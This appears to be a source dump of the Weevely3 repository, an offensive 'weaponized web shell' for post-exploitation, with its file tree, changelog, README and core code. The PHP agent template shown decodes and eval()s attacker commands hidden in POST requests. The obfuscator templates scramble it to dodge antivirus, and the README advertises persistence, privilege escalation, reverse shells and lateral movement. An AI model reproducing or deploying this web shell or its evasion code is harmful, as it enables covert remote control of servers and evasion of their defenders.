├── .gitignore ├── .travis.yml ├── CHANGELOG.md ├── LICENSE ├── README.md ├── bd ├── __init__.py ├── agents │ └── obfpost_php.tpl └── obfuscators │ ├── cleartext1_php.tpl │ ├── obfusc1_php.tpl │ └── phar.tpl ├── core ├── __init__.py ├── argparsers.py ├── channels │ ├── __init__.py │ ├── channel.py │ └── obfpost │ │ ├── __init__.py │ │ └── obfpost.py ├── config.py ├── generate.py ├── loggers.py ├── messages.py ├── module.py ├── modules.py ├── sessions.py ├── terminal.py ├── vectorlist.py ├── vectors.py └── weexceptions.py ├── modules ├── __init__.py ├── audit │ ├── __init__.py │ ├── _disablefunctionbypass │ │ └── cgi.sh │ ├── disablefunctionbypass.py │ ├── etcpasswd.py │ ├── filesystem.py │ ├── phpconf.py │ └── suidsgid.py ├── backdoor │ ├── __init__.py │ ├── _reversetcp │ │ ├── __init__.py │ │ └── tcpserver.py │ ├── reversetcp.py │ └── tcp.py ├── bruteforce │ ├── __init__.py │ ├── _sql │ │ ├── mysql.tpl │ │ └── pgsql.tpl │ └── sql.py ├── file │ ├── __init__.py │ ├── _bzip2 │ │ ├── EasyBzip2.class.php │ │ └── php_bzip2.tpl │ ├── _find │ │ └── bfs_walker.tpl │ ├── _gzip │ │ ├── EasyGzip.class.php │ │ └── php_gzip.tpl │ ├── _tar │ │ └── php_tar.tpl │ ├── _zip │ │ ├── EasyZip.class.php │ │ └── php_zip.tpl │ ├── bzip2.py │ ├── cd.py │ ├── check.py │ ├── clearlog.py │ ├── cp.py │ ├── download.py │ ├── edit.py │ ├── enum.py │ ├── find.py │ ├── grep.py │ ├── gzip.py │ ├── ls.py │ ├── mount.py │ ├── read.py │ ├── rm.py │ ├── tar.py │ ├── touch.py │ ├── upload.py │ ├── upload2web.py │ ├── webdownload.py │ └── zip.py ├── net │ ├── __init__.py │ ├── _curl │ │ ├── php_context.tpl │ │ ├── php_curl.tpl │ │ └── php_httprequest1.tpl │ ├── _phpproxy │ │ └── poxy.php │ ├── _scan │ │ └── fsockopen.tpl │ ├── curl.py │ ├── ifconfig.py │ ├── mail.py │ ├── phpproxy.py │ ├── proxy.py │ └── scan.py ├── shell │ ├── __init__.py │ ├── php.py │ ├── sh.py │ ├── ssh.py │ └── su.py ├── sql │ ├── __init__.py │ ├── _dump │ │ └── mysqldump.tpl │ ├── console.py │ └── dump.py └── system │ ├── __init__.py │ ├── extensions.py │ ├── info.py │ └── procs.py ├── requirements.txt ├── tests ├── __init__.py ├── base_test.py ├── config.py ├── docker │ ├── 000-default.conf │ ├── Dockerfile │ └── entrypoint.sh ├── run.sh ├── test_channels.py ├── test_file_bzip2.py ├── test_file_cd.py ├── test_file_check.py ├── test_file_download.py ├── test_file_enum.py ├── test_file_find.py ├── test_file_grep.py ├── test_file_gzip.py ├── test_file_ls.py ├── test_file_read.py ├── test_file_tar.py ├── test_file_upload.py ├── test_file_upload2web.py ├── test_file_zip.py ├── test_generators.py ├── test_net_curl.py ├── test_net_proxy.py ├── test_shell_php.py ├── test_shell_sh.py ├── test_shell_ssh.py ├── test_shell_su.py ├── test_sql_console.py ├── test_system_info.py └── test_terminal.py ├── utils ├── __init__.py ├── _http │ └── user-agents.txt ├── http.py ├── ipaddr.py ├── iputil.py ├── prettify.py └── strings.py ├── weevely.1 └── weevely.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Test environment 2 | testsuite/environment/ 3 | 4 | # Testsuite configuration file 5 | testsuite/config.py 6 | 7 | # Sessions 8 | sessions/ 9 | 10 | # Byte-compiled / optimized / DLL files 11 | __pycache__/ 12 | *.py[cod] 13 | 14 | # C extensions 15 | *.so 16 | 17 | # Distribution / packaging 18 | .Python 19 | env/ 20 | bin/ 21 | build/ 22 | develop-eggs/ 23 | dist/ 24 | eggs/ 25 | lib/ 26 | lib64/ 27 | parts/ 28 | sdist/ 29 | var/ 30 | *.egg-info/ 31 | .installed.cfg 32 | *.egg 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | .tox/ 40 | .coverage 41 | .cache 42 | nosetests.xml 43 | coverage.xml 44 | 45 | # Translations 46 | *.mo 47 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | sudo: required 2 | 3 | services: 4 | - docker 5 | 6 | script: 7 | ./tests/run.sh -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # Change Log 2 | 3 | ## [v4.0.2] - 4 | 5 | ### Fixed 6 | - Broken file_edit #133 7 | 8 | ## [v4.0.1] - 2020-01-06 9 | ### Removed 10 | - Remove PHP minification 11 | 12 | ### Fixed 13 | - Broken cd #122 14 | 15 | ## [v4.0.0] - 2019-12-26 16 | ### Added 17 | - Full port to Python 3 18 | 19 | ### Fixed 20 | - Module net_phpproxy 21 | - Fixes alias management #117 22 | 23 | ### Removed 24 | - Old backdoor formats LegacyCookie, LegacyReferrer, and Stegaref 25 | - Module backdoor_meterpreter 26 | 27 | ## [v3.7.0] - 2018-10-15 28 | ### Fixed 29 | - Fix vector handling in audit_etcpasswd #93 30 | 31 | ### Added 32 | - HTTPS proxy support 33 | - Support OPTIONS request in net_curl module 34 | - Use httpbin for net_proxy testing 35 | 36 | ## [v3.6.2] - 2018-06-27 37 | ### Fixed 38 | - Remove audit_linuxprivchecker module 39 | 40 | ## [v3.6.1] - 2018-06-26 41 | ### Fixed 42 | - Fixed corrupted session file #83 43 | - Vendor files licensing 44 | 45 | ### Added 46 | - Man page 47 | 48 | ## [v3.6] - 2018-06-02 49 | ### Fixed 50 | - PHP 7 support 51 | - Add exceptions catches 52 | 53 | ### Added 54 | - ObfPost is the default channel to obfuscate traffic in POST requests 55 | - Travic-CI integration 56 | 57 | ## [v3.5] - 2017-23-11 58 | ### Fixed 59 | - Connection to HTTPS sites with wrong certificates 60 | - Fix net_phpproxy params 61 | - Fix broken audit_etcpasswd 62 | - Fix strings passing on SQL console 63 | 64 | ### Added 65 | - Dockerized test suite 66 | 67 | ## [v3.4] - 2016-11-02 68 | ### Fixed 69 | - Stored/Passed/Default arguments handling 70 | 71 | ### Added 72 | - Backdoor_meterpreter module 73 | - System_procs module by @paddlesteamer 74 | - Support for database/schema selection for PostgreSQL by @caeaguilar 75 | 76 | ## [v3.3.1] - 2016-05-12 77 | ### Fixed 78 | - File grep module wrong grepping folders 79 | - 500 error testing pcntl_fork in shell sh module 80 | 81 | ### Added 82 | - Clearlog and Mail module by @AppoPro 83 | - Socat vector in backdoor tcp module 84 | - Legacycookie generator 85 | - Upload2web module content and simulate options 86 | - Disable_function bypass module 87 | 88 | ## [v3.2.0] - 2015-06-29 89 | ### Fixed 90 | - Basic Windows support 91 | - OS X support 92 | - Improve Stegaref channel referrer templates 93 | - Reset on channel session variables changes 94 | 95 | ### Added 96 | - Python requirements.txt 97 | - Encoding support for sql_console 98 | - Output redirection and inverse grep for file_grep 99 | - Run actions on start depending from the session load 100 | - Proxy and SOCKS support 101 | - Unset session variables 102 | - Show session variables 103 | 104 | ## [v3.1.0] - 2015-04-07 105 | ### Added 106 | - Module bruteforce_sql 107 | - Additional HTTP headers 108 | - Direct command execution from weevely.py argument 109 | - Whoami, hostname, pwd, uname aliases 110 | - Module file_cp 111 | - CHANGELOG 112 | 113 | ## v3.0.0 - 2015-01-17 114 | ### Added 115 | - Module sql_dump 116 | - Module sql_console 117 | - Module bruteforce_sqlusers 118 | - Module bruteforce_sql 119 | - Module file_mount 120 | - Module file_enum 121 | - Module file_download 122 | - Module file_touch 123 | - Module file_rm 124 | - Module file_edit 125 | - Module file_read 126 | - Module file_upload 127 | - Module file_upload2web 128 | - Module backdoor_reversetcp 129 | - Module backdoor_tcp 130 | - Module audit_suidsgid 131 | - Module file_find 132 | - Module audit_filesystem 133 | - Module audit_phpconf 134 | - Module audit_etcpasswd 135 | - Module net_phpproxy 136 | - Module net_ifconfig 137 | - Module net_proxy 138 | - Module net_scan 139 | - Module file_grep 140 | - Module net_curl 141 | - Modules file_zip, file_tar, file_gzip, and file_bzip2 142 | - Support of legacy LegacyCookie and LegacyReferrer channels 143 | 144 | ### Removed 145 | - Module audit_userfiles 146 | - Module audit_mapwebfiles 147 | 148 | 149 | [unreleased]: https://github.com/epinna/weevely3/commit/HEAD 150 | [v3.1.0]: https://github.com/epinna/weevely3/releases/tag/v3.1.0 151 | [v3.2.0]: https://github.com/epinna/weevely3/releases/tag/v3.2.0 152 | [v3.3.1]: https://github.com/epinna/weevely3/releases/tag/v3.3.1 153 | [v3.4]: https://github.com/epinna/weevely3/releases/tag/v3.4 154 | [v3.5]: https://github.com/epinna/weevely3/releases/tag/v3.5 155 | [v3.6]: https://github.com/epinna/weevely3/releases/tag/v3.6 156 | [v3.6.1]: https://github.com/epinna/weevely3/releases/tag/v3.6.1 157 | [v3.6.2]: https://github.com/epinna/weevely3/releases/tag/v3.6.2 158 | [v3.7.0]: https://github.com/epinna/weevely3/releases/tag/v3.7.0 159 | [v4.0.0]: https://github.com/epinna/weevely3/releases/tag/v4.0.0 160 | [v4.0.1]: https://github.com/epinna/weevely3/releases/tag/v4.0.1 161 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Weevely 2 | ======= 3 | 4 | [![Build Status](https://travis-ci.org/epinna/weevely3.svg?branch=master)](https://travis-ci.org/epinna/weevely3) 5 | 6 | ## Name 7 | 8 | Weevely - Weaponized web shell 9 | 10 | ## Usage 11 | 12 | ``` 13 | weevely generate 14 | weevely [cmd] 15 | ``` 16 | 17 | ## Description 18 | 19 | Weevely is a web shell designed for post-exploitation purposes that can be extended over the network at runtime. 20 | 21 | Upload weevely PHP agent to a target web server to get remote shell access to it. It has more than 30 modules to assist administrative tasks, maintain access, provide situational awareness, elevate privileges, and spread into the target network. 22 | 23 | Read the [Install](https://github.com/epinna/weevely3/wiki/Install) page to install weevely and its dependencies. 24 | 25 | Read the [Getting Started](https://github.com/epinna/weevely3/wiki/Getting-Started) page to generate an agent and connect to it. 26 | 27 | Browse the [Wiki](https://github.com/epinna/weevely3/wiki) to read examples and use cases. 28 | 29 | ### Features 30 | 31 | * Shell access to the target 32 | * SQL console pivoting on the target 33 | * HTTP/HTTPS proxy to browse through the target 34 | * Upload and download files 35 | * Spawn reverse and direct TCP shells 36 | * Audit remote target security 37 | * Port scan pivoting on target 38 | * Mount the remote filesystem 39 | * Bruteforce SQL accounts pivoting on the target 40 | 41 | ### Agent 42 | 43 | The agent is a small, polymorphic PHP script hardly detected by AV and the communication protocol is obfuscated within HTTP requests. 44 | 45 | ### Modules 46 | 47 | | Module | Description 48 | | --------------------------- | ------------------------------------------ | 49 | | :audit_filesystem | Audit the file system for weak permissions. 50 | | :audit_suidsgid | Find files with SUID or SGID flags. 51 | | :audit_disablefunctionbypass| Bypass disable_function restrictions with mod_cgi and .htaccess. 52 | | :audit_etcpasswd | Read /etc/passwd with different techniques. 53 | | :audit_phpconf | Audit PHP configuration. 54 | | :shell_sh | Execute shell commands. 55 | | :shell_ssh | Execute shell commands through SSH. 56 | | :shell_su | Execute commands with su. 57 | | :shell_php | Execute PHP commands. 58 | | :system_extensions | Collect PHP and webserver extension list. 59 | | :system_info | Collect system information. 60 | | :system_procs | List running processes. 61 | | :backdoor_reversetcp | Execute a reverse TCP shell. 62 | | :backdoor_tcp | Spawn a shell on a TCP port. 63 | | :bruteforce_sql | Bruteforce SQL database. 64 | | :file_gzip | Compress or expand gzip files. 65 | | :file_clearlog | Remove string from a file. 66 | | :file_check | Get attributes and permissions of a file. 67 | | :file_upload | Upload file to remote filesystem. 68 | | :file_webdownload | Download an URL. 69 | | :file_tar | Compress or expand tar archives. 70 | | :file_download | Download file from remote filesystem. 71 | | :file_bzip2 | Compress or expand bzip2 files. 72 | | :file_edit | Edit remote file on a local editor. 73 | | :file_grep | Print lines matching a pattern in multiple files. 74 | | :file_ls | List directory content. 75 | | :file_cp | Copy single file. 76 | | :file_rm | Remove remote file. 77 | | :file_upload2web | Upload file automatically to a web folder and get corresponding URL. 78 | | :file_zip | Compress or expand zip files. 79 | | :file_touch | Change file timestamp. 80 | | :file_find | Find files with given names and attributes. 81 | | :file_mount | Mount remote filesystem using HTTPfs. 82 | | :file_enum | Check existence and permissions of a list of paths. 83 | | :file_read | Read remote file from the remote filesystem. 84 | | :file_cd | Change current working directory. 85 | | :sql_console | Execute SQL query or run console. 86 | | :sql_dump | Multi dbms mysqldump replacement. 87 | | :net_mail | Send mail. 88 | | :net_phpproxy | Install PHP proxy on the target. 89 | | :net_curl | Perform a curl-like HTTP request. 90 | | :net_proxy | Run local proxy to pivot HTTP/HTTPS browsing through the target. 91 | | :net_scan | TCP Port scan. 92 | | :net_ifconfig | Get network interfaces addresses. 93 | 94 | ### Development 95 | 96 | Weevely is easily extendible to implement internal audit, account enumerator, sensitive data scraper, network scanner, make the modules work as a HTTP or SQL client and do a whole lot of other cool stuff. 97 | -------------------------------------------------------------------------------- /bd/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/weevely3/ff906a17d12a8a6d9923e7b36e3f2390798a2afa/bd/__init__.py -------------------------------------------------------------------------------- /bd/agents/obfpost_php.tpl: -------------------------------------------------------------------------------- 1 | <%! import hashlib, utils, string %><% 2 | passwordhash = hashlib.md5(password.encode('utf-8')).hexdigest().lower() 3 | key = passwordhash[:8] 4 | header = passwordhash[8:20] 5 | footer = passwordhash[20:32] 6 | 7 | PREPEND = utils.strings.randstr(16, charset = string.digits + string.ascii_letters).decode('utf-8') 8 | %>$k="${key}";$kh="${header}";$kf="${footer}";$p="${PREPEND}"; 9 | <%text> 10 | function x($t,$k){ 11 | $c=strlen($k);$l=strlen($t);$o=""; 12 | for($i=0;$i<$l;){ 13 | for($j=0;($j<$c&&$i<$l);$j++,$i++) 14 | { 15 | $o.=$t[$i]^$k[$j]; 16 | } 17 | } 18 | return $o; 19 | } 20 | if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) { 21 | @ob_start(); 22 | @eval(@gzuncompress(@x(@base64_decode($m[1]),$k))); 23 | $o=@ob_get_contents(); 24 | @ob_end_clean(); 25 | $r=@base64_encode(@x(@gzcompress($o),$k)); 26 | print("$p$kh$r$kf"); 27 | } 28 | 29 | -------------------------------------------------------------------------------- /bd/obfuscators/cleartext1_php.tpl: -------------------------------------------------------------------------------- 1 | 4 | -------------------------------------------------------------------------------- /bd/obfuscators/obfusc1_php.tpl: -------------------------------------------------------------------------------- 1 | <% 9 | 10 | # Does not include \ to avoid escaping termination quotes 11 | def find_substr_not_in_str(mainstr, characters = string.ascii_letters + string.digits + '!"#$%&()*+,-./:;<=>?@[]^_`{|}~'): 12 | while True: 13 | substr = utils.strings.randstr(2, False, characters) 14 | if not substr in mainstr: 15 | return substr 16 | 17 | def obfuscate(payload, obf, division, dangerous): 18 | while True: 19 | 20 | polluted = obf.join(list(utils.strings.divide(payload, 0, division, len(payload)//division))) 21 | 22 | found = False 23 | for dang in dangerous: 24 | if dang in polluted: 25 | found = True 26 | 27 | if not found: 28 | return polluted 29 | 30 | # Try to minify 31 | agent_minified = re.sub(rb'[\n\r\t]',b'',agent) 32 | 33 | obfuscation_agent = find_substr_not_in_str(agent_minified) 34 | obfuscated_agent = obfuscate(agent_minified, obfuscation_agent, 6, (b'eval', b'base64', b'gzuncompress', b'gzcompress')) 35 | 36 | agent_splitted_line_number = random.randint(5,8) 37 | 38 | agent_splitted = list(utils.strings.divide(obfuscated_agent, len(obfuscated_agent)//agent_splitted_line_number-random.randint(0,5), len(obfuscated_agent)//agent_splitted_line_number, agent_splitted_line_number)) 39 | 40 | agent_variables = list(string.ascii_letters[:]) 41 | random.shuffle(agent_variables) 42 | agent_variables_references = agent_variables[:] 43 | 44 | # TODO: if a / is just before the endin quote, it will be uncorrectly escaped. 45 | # Fix this (wrap data between " and use json.dump?) 46 | 47 | agent_list = [] 48 | for line in agent_splitted: 49 | # Lines are quoted now and not before (could separate escape and quote on splitting) 50 | 51 | line = shlex.quote(line.decode('utf-8')) 52 | 53 | # Replace all the \ with \\, to avoid to escape the trailing quote. 54 | line = re.sub('\\\\','\\\\\\\\', line) 55 | 56 | agent_list.append((agent_variables.pop(0), '%s;' % line)) 57 | 58 | obfuscation_createfunc = find_substr_not_in_str(b'create_function', string.ascii_letters) 59 | obfuscated_createfunc = obfuscate(b'create_function', obfuscation_createfunc, 2, ()) 60 | 61 | agent_list.append((agent_variables.pop(0), "str_replace('%s','','%s');" % (obfuscation_createfunc.decode('utf-8'), obfuscated_createfunc.decode('utf-8')))) 62 | 63 | random.shuffle(agent_list) 64 | %> 65 | % for line in agent_list: 66 | $${line[0]}=${line[1]} 67 | % endfor 68 | $${agent_variables.pop(0)}=str_replace('${obfuscation_agent.decode('utf-8')}','',$${'.$'.join(agent_variables_references[:agent_splitted_line_number])}); 69 | $${agent_variables.pop(0)}=$${agent_variables_references[agent_splitted_line_number]}('',$${agent_variables_references[agent_splitted_line_number+1]});$${agent_variables_references[agent_splitted_line_number+2]}(); 70 | ?> 71 | -------------------------------------------------------------------------------- /bd/obfuscators/phar.tpl: -------------------------------------------------------------------------------- 1 | <%! 2 | import io 3 | import zlib 4 | import base64 5 | import hashlib 6 | from datetime import datetime 7 | %><% 8 | clean_agent = agent.strip(b'\n') 9 | stub = b"""""" 10 | fname = b'x' 11 | f = b'b64:${base64.b64encode(output.getvalue()).decode('utf-8')} -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/weevely3/ff906a17d12a8a6d9923e7b36e3f2390798a2afa/core/__init__.py -------------------------------------------------------------------------------- /core/argparsers.py: -------------------------------------------------------------------------------- 1 | from core import messages 2 | from core.weexceptions import ArgparseError 3 | import argparse 4 | import sys 5 | 6 | SUPPRESS = argparse.SUPPRESS 7 | 8 | class HelpParser(argparse.ArgumentParser): 9 | 10 | """ 11 | Override `error` method of `argparse.ArgumentParser` 12 | in order to print the complete help on error. 13 | """ 14 | 15 | def error(self, message): 16 | sys.stderr.write('error: %s\n' % message) 17 | self.print_help() 18 | raise ArgparseError(message) 19 | 20 | 21 | class CliParser(argparse.ArgumentParser): 22 | 23 | def set_default_subparser(self, name, args=None): 24 | """default subparser selection. Call after setup, just before parse_args() 25 | name: is the name of the subparser to call by default 26 | args: if set is the argument list handed to parse_args() 27 | 28 | , tested with 2.7, 3.2, 3.3, 3.4 29 | it works with 2.6 assuming argparse is installed 30 | """ 31 | subparser_found = False 32 | for arg in sys.argv[1:]: 33 | if arg in ['-h', '--help']: # global help if no subparser 34 | break 35 | else: 36 | for x in self._subparsers._actions: 37 | if not isinstance(x, argparse._SubParsersAction): 38 | continue 39 | for sp_name in x._name_parser_map.keys(): 40 | if sp_name in sys.argv[1:]: 41 | subparser_found = True 42 | if not subparser_found: 43 | # insert default in first position, this implies no 44 | # global options without a sub_parsers specified 45 | if args is None: 46 | sys.argv.insert(1, name) 47 | else: 48 | args.insert(0, name) 49 | 50 | def error(self, message): 51 | sys.stderr.write( 52 | messages.generic.weevely_s_error_s_usage % ( 53 | messages.version, message) 54 | ) 55 | #self.print_help() 56 | raise ArgparseError(message) 57 | -------------------------------------------------------------------------------- /core/channels/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/weevely3/ff906a17d12a8a6d9923e7b36e3f2390798a2afa/core/channels/__init__.py -------------------------------------------------------------------------------- /core/channels/obfpost/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/weevely3/ff906a17d12a8a6d9923e7b36e3f2390798a2afa/core/channels/obfpost/__init__.py -------------------------------------------------------------------------------- /core/channels/obfpost/obfpost.py: -------------------------------------------------------------------------------- 1 | from core.loggers import dlog 2 | from core import config 3 | import re 4 | import urllib.parse 5 | import random 6 | import utils 7 | import string 8 | import base64 9 | import urllib.request, urllib.error, urllib.parse 10 | import hashlib 11 | import zlib 12 | import http.client 13 | import string 14 | 15 | PREPEND = utils.strings.randstr(16, charset = string.printable) 16 | APPEND = utils.strings.randstr(16, charset = string.printable) 17 | 18 | class ObfPost: 19 | 20 | def __init__(self, url, password): 21 | 22 | # Generate the 8 char long main key. Is shared with the server and 23 | # used to check header, footer, and encrypt the payload. 24 | password = password.encode('utf-8') 25 | 26 | passwordhash = hashlib.md5(password).hexdigest().lower() 27 | self.shared_key = passwordhash[:8].encode('utf-8') 28 | self.header = passwordhash[8:20].encode('utf-8') 29 | self.trailer = passwordhash[20:32].encode('utf-8') 30 | 31 | self.url = url 32 | url_parsed = urllib.parse.urlparse(url) 33 | self.url_base = '%s://%s' % (url_parsed.scheme, url_parsed.netloc) 34 | 35 | # init regexp for the returning data 36 | self.re_response = re.compile( 37 | b"%s(.*)%s" % (self.header, self.trailer), re.DOTALL 38 | ) 39 | self.re_debug = re.compile( 40 | b"%sDEBUG(.*?)%sDEBUG" % (self.header, self.trailer), re.DOTALL 41 | ) 42 | 43 | # Load agent 44 | # TODO: add this to the other channels 45 | agents = utils.http.load_all_agents() 46 | random.shuffle(agents) 47 | self.agent = agents[0] 48 | 49 | # Init additional headers list 50 | self.additional_headers = config.additional_headers 51 | 52 | 53 | def send(self, original_payload, additional_handlers = []): 54 | 55 | if isinstance(original_payload, str): 56 | original_payload = original_payload.encode('utf-8') 57 | 58 | xorred_payload = utils.strings.sxor( 59 | zlib.compress(original_payload), 60 | self.shared_key 61 | ) 62 | 63 | obfuscated_payload = base64.b64encode(xorred_payload).rstrip(b'=') 64 | 65 | wrapped_payload = PREPEND + self.header + obfuscated_payload + self.trailer + APPEND 66 | 67 | opener = urllib.request.build_opener(*additional_handlers) 68 | 69 | additional_ua = '' 70 | for h in self.additional_headers: 71 | if h[0].lower() == 'user-agent' and h[1]: 72 | additional_ua = h[1] 73 | break 74 | 75 | opener.addheaders = [ 76 | ('User-Agent', (additional_ua if additional_ua else self.agent)) 77 | ] + self.additional_headers 78 | 79 | dlog.debug( 80 | '[R] %s...' % 81 | (wrapped_payload[0:32]) 82 | ) 83 | 84 | url = ( 85 | self.url if not config.add_random_param_nocache 86 | else utils.http.add_random_url_param(self.url) 87 | ) 88 | 89 | try: 90 | response = opener.open(url, data = wrapped_payload).read() 91 | except http.client.BadStatusLine as e: 92 | # TODO: add this check to the other channels 93 | log.warn('Connection closed unexpectedly, aborting command.') 94 | return 95 | 96 | if not response: 97 | return 98 | 99 | # Multiple debug string may have been printed, using findall 100 | matched_debug = self.re_debug.findall(response) 101 | if matched_debug: 102 | dlog.debug('\n'.join(matched_debug)) 103 | 104 | matched = self.re_response.search(response) 105 | 106 | if matched and matched.group(1): 107 | 108 | response = zlib.decompress( 109 | utils.strings.sxor( 110 | base64.b64decode(matched.group(1)), 111 | self.shared_key)) 112 | 113 | return response 114 | -------------------------------------------------------------------------------- /core/config.py: -------------------------------------------------------------------------------- 1 | # Base path for log files and sessions 2 | base_path = '~/.weevely/' 3 | 4 | # History path 5 | history_path = '~/.weevely/history' 6 | 7 | # Session path 8 | sessions_path = '~/.weevely/sessions/' 9 | sessions_ext = '.session' 10 | 11 | # Supported Channels 12 | channels = [ 13 | # Obfuscated channel inside POST requests introduced 14 | # in Weevely 3.6 15 | 'ObfPost', 16 | ] 17 | 18 | # Append random GET parameters to every request to 19 | # make sure the page is not cache by proxies. 20 | add_random_param_nocache = False 21 | 22 | # Add additional headers to be sent at every request e.g. 23 | # additional_headers = [ 24 | # ( 'Authentication', 'Basic QWxhZGRpbjpvcGVuIHNlc2FtBl==' ) 25 | # ] 26 | additional_headers = [] 27 | 28 | # Agents and obfuscators used by generator.py 29 | agent_templates_folder_path = 'bd/agents/' 30 | obfuscators_templates_folder_path = 'bd/obfuscators/' 31 | 32 | 33 | 34 | 35 | 36 | ####################################### 37 | # Resolve given paths - DO NOT CHANGE # 38 | ####################################### 39 | import os, sys 40 | base_path = os.path.expanduser(base_path) 41 | history_path = os.path.expanduser(history_path) 42 | sessions_path = os.path.expanduser(sessions_path) 43 | weevely_path = os.path.dirname(os.path.realpath(sys.argv[0])) 44 | agent_templates_folder_path = os.path.join( 45 | weevely_path, 46 | agent_templates_folder_path 47 | ) 48 | obfuscators_templates_folder_path = os.path.join( 49 | weevely_path, 50 | obfuscators_templates_folder_path 51 | ) 52 | -------------------------------------------------------------------------------- /core/generate.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import os 3 | import sys 4 | 5 | from mako.template import Template 6 | 7 | from core import messages 8 | from core.config import agent_templates_folder_path, obfuscators_templates_folder_path 9 | from core.weexceptions import FatalException 10 | 11 | 12 | 13 | def generate(password, obfuscator = 'phar', agent = 'obfpost_php'): 14 | 15 | obfuscator_path = os.path.join( 16 | obfuscators_templates_folder_path, 17 | obfuscator + 18 | '.tpl') 19 | agent_path = os.path.join(agent_templates_folder_path, agent + '.tpl') 20 | 21 | for path in (obfuscator_path, agent_path): 22 | if not os.path.isfile(path): 23 | raise FatalException(messages.generic.file_s_not_found % path) 24 | 25 | obfuscator_template = Template(filename=obfuscator_path) 26 | 27 | try: 28 | 29 | with open(agent_path, 'r') as templatefile: 30 | agent = Template(templatefile.read()).render( 31 | password=password).encode('utf-8') 32 | 33 | except Exception as e: 34 | raise FatalException( 35 | messages.generate.error_agent_template_s_s % 36 | (agent_path, str(e))) 37 | 38 | try: 39 | obfuscated = obfuscator_template.render(agent=agent) 40 | except Exception as e: 41 | raise FatalException( 42 | messages.generate.error_obfuscator_template_s_s % 43 | (obfuscator_path, str(e))) 44 | 45 | return obfuscated 46 | 47 | 48 | def save_generated(obfuscated, output): 49 | b64 = obfuscated[:4] == 'b64:' 50 | final = base64.b64decode(obfuscated[4:]) if b64 else obfuscated.encode('utf-8') 51 | try: 52 | if output == '-': 53 | sys.stdout.buffer.write(final) 54 | else: 55 | with open(output, 'wb') as outfile: 56 | outfile.write(final) 57 | except Exception as e: 58 | raise FatalException( 59 | messages.generic.error_creating_file_s_s % 60 | (output, e)) 61 | -------------------------------------------------------------------------------- /core/loggers.py: -------------------------------------------------------------------------------- 1 | import logging.handlers 2 | import logging 3 | import sys 4 | import core.config 5 | import os 6 | 7 | log = None 8 | logfile = None 9 | 10 | class WeevelyFormatter(logging.Formatter): 11 | 12 | FORMATS = { 13 | # logging.DEBUG :"[D][%(module)s.%(funcName)s:%(lineno)d] %(message)s", 14 | logging.DEBUG: "[D][%(module)s] %(message)s", 15 | logging.INFO: "%(message)s", 16 | logging.WARNING: "[-][%(module)s] %(message)s", 17 | logging.ERROR: "[!][%(module)s] %(message)s", 18 | logging.CRITICAL: "[!][%(module)s] %(message)s", 19 | 'DEFAULT': "[%(levelname)s] %(message)s"} 20 | 21 | def format(self, record): 22 | self._fmt = self.FORMATS.get(record.levelno, self.FORMATS['DEFAULT']) 23 | return logging.Formatter.format(self, record) 24 | 25 | 26 | if not os.path.isdir(core.config.base_path): 27 | os.makedirs(core.config.base_path) 28 | 29 | """Initialize the handler to dump log to files""" 30 | log_path = os.path.join(core.config.base_path, 'weevely.log') 31 | file_handler = logging.handlers.RotatingFileHandler( 32 | log_path, 33 | mode='a', 34 | maxBytes=5*1024*1024, 35 | backupCount=2, 36 | encoding=None, 37 | delay=0 38 | ) 39 | file_handler.setFormatter(WeevelyFormatter()) 40 | 41 | """Initialize the normal handler""" 42 | stream_handler = logging.StreamHandler() 43 | stream_handler.setFormatter(WeevelyFormatter()) 44 | 45 | """Initialize the standard logger""" 46 | log = logging.getLogger('log') 47 | log.addHandler(file_handler) 48 | log.addHandler(stream_handler) 49 | # We can set the a different level for to the two handlers, 50 | # but the global has to be set to the lowest. Fair enough. 51 | log.setLevel(logging.DEBUG) 52 | file_handler.setLevel(logging.DEBUG) 53 | stream_handler.setLevel(logging.INFO) 54 | 55 | """Initialize the debug logger, that dumps just to logfile""" 56 | dlog = logging.getLogger('dlog') 57 | dlog.addHandler(file_handler) 58 | dlog.setLevel(logging.INFO) 59 | -------------------------------------------------------------------------------- /core/modules.py: -------------------------------------------------------------------------------- 1 | from core import config 2 | import glob 3 | import os 4 | 5 | loaded = {} 6 | loaded_tree = {} 7 | 8 | def load_modules(session): 9 | """ Load all modules """ 10 | 11 | modules_paths = glob.glob( 12 | '%s/modules/*/[a-z]*py' % config.weevely_path 13 | ) 14 | 15 | for module_path in modules_paths: 16 | 17 | module_group, module_filename = module_path.split(os.sep)[-2:] 18 | module_name = os.path.splitext(module_filename)[0] 19 | classname = module_name.capitalize() 20 | 21 | # Import module 22 | module = __import__( 23 | 'modules.%s.%s' % 24 | (module_group, module_name), fromlist=["*"] 25 | ) 26 | 27 | # Check if the module support folder exists 28 | folder = module_path.replace( 29 | module_filename, 30 | '_%s' % module_name 31 | ) 32 | 33 | # Init class, passing current terminal instance and module 34 | # name 35 | module_class = getattr(module, classname)( 36 | session, 37 | '%s_%s' % (module_group, module_name), 38 | folder 39 | ) 40 | 41 | loaded['%s_%s' % 42 | (module_group, module_name)] = module_class 43 | 44 | # Keep the tree in a dict of strings in the form 45 | # `{ 'group1' : [ 'mod1', 'mod2' ] }` 46 | tree_group = loaded_tree.get(module_group) 47 | if not tree_group: 48 | loaded_tree[module_group] = [] 49 | loaded_tree[module_group].append('%s_%s' % 50 | (module_group, module_name)) 51 | -------------------------------------------------------------------------------- /core/weexceptions.py: -------------------------------------------------------------------------------- 1 | """ Fatal errors """ 2 | class FatalException(Exception): 3 | pass 4 | 5 | """ Fatal errors on module development """ 6 | class DevException(Exception): 7 | pass 8 | 9 | """ Argument parsing tried to Exit """ 10 | class ArgparseError(Exception): 11 | pass 12 | 13 | """ Error on channel internals """ 14 | class ChannelException(Exception): 15 | # This should be intercepted not at send() 16 | # but at some level before (e.g. when) calling 17 | # setup to interrupt directly the cmd execution 18 | pass 